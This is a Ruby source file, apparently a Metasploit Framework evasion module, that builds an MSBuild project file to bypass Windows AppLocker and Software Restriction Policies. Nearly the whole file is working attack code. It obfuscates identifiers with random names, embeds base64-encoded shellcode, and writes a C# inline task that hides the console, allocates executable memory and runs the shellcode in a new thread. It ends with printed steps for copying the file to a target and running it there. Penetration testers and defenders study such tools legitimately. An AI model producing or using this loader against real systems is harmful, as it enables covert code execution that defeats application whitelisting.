metasploit-framework/modules/evasion/windows/applocker_evasion_msbuild.rb

128 lines
4.3 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Evasion
def initialize(info = {})
super(update_info(info,
'Name' => 'Applocker Evasion - MSBuild',
'Description' => %(
This module will assist you in evading Microsoft
Windows Applocker and Software Restriction Policies.
This technique utilises the Microsoft signed binary
MSBuild.exe to execute user supplied code.
),
'Author' =>
[
'Nick Tyrer <@NickTyrer>', # module development
'Casey Smith' # msbuild bypass research
],
'License' => 'MSF_LICENSE',
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' => [['Microsoft Windows', {}]],
'References' => [['URL', 'https://attack.mitre.org/techniques/T1127/']])
)
register_options(
[
OptString.new('FILENAME', [true, 'Filename for the evasive file (default: msbuild.txt)', 'msbuild.txt'])
]
)
end
def build_payload
Rex::Text.encode_base64(payload.encoded)
end
def obfu
Rex::Text.rand_text_alpha 8
end
def msbuild
esc = build_payload
mod = [obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu]
<<~HEREDOC
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="#{mod[0]}">
<#{mod[1]} />
</Target>
<UsingTask
TaskName="#{mod[1]}"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\\Windows\\Microsoft.Net\\Framework\\v4.0.30319\\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Runtime.InteropServices;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class #{mod[1]} : Task, ITask
{
private static Int32 #{mod[2]}=0x1000;
private static IntPtr #{mod[3]}=(IntPtr)0x40;
private static UInt32 #{mod[4]} = 0xFFFFFFFF;
[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern IntPtr VirtualAlloc(IntPtr a, UIntPtr s, Int32 t, IntPtr p);
[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern IntPtr CreateThread(IntPtr att, UIntPtr st, IntPtr sa, IntPtr p, Int32 c, ref IntPtr id);
[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr h, UInt32 ms);
[System.Runtime.InteropServices.DllImport("user32.dll")]
static extern bool ShowWindow(IntPtr #{mod[5]}, int nCmdShow);
[System.Runtime.InteropServices.DllImport("Kernel32")]
private static extern IntPtr GetConsoleWindow();
const int #{mod[6]} = 0;
public override bool Execute()
{
IntPtr #{mod[5]};
#{mod[5]} = GetConsoleWindow();
ShowWindow(#{mod[5]}, #{mod[6]});
string #{mod[7]} = "#{esc}";
byte[] #{mod[8]} = Convert.FromBase64String(#{mod[7]});
byte[] #{mod[9]} = #{mod[8]};
IntPtr #{mod[10]} = VirtualAlloc(IntPtr.Zero, (UIntPtr)#{mod[9]}.Length, #{mod[2]}, #{mod[3]});
System.Runtime.InteropServices.Marshal.Copy(#{mod[9]}, 0, #{mod[10]}, #{mod[9]}.Length);
IntPtr #{mod[11]} = IntPtr.Zero;
WaitForSingleObject(CreateThread(#{mod[11]}, UIntPtr.Zero, #{mod[10]}, #{mod[11]}, 0, ref #{mod[11]}), #{mod[4]});
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
HEREDOC
end
def file_format_filename(name = '')
name.empty? ? @fname : @fname = name
end
def create_files
f1 = datastore['FILENAME'].empty? ? 'msbuild.txt' : datastore['FILENAME']
f1 << '.txt' unless f1.downcase.end_with?('.txt')
file1 = msbuild
file_format_filename(f1)
file_create(file1)
end
def instructions
print_status "Copy #{datastore['FILENAME']} to the target"
if payload.arch.first == ARCH_X86
print_status "Execute using: C:\\Windows\\Microsoft.Net\\Framework\\[.NET Version]\\MSBuild.exe #{datastore['FILENAME']}"
else
print_status "Execute using: C:\\Windows\\Microsoft.Net\\Framework64\\[.NET Version]\\MSBuild.exe #{datastore['FILENAME']}"
end
end
def run
create_files
instructions
end
end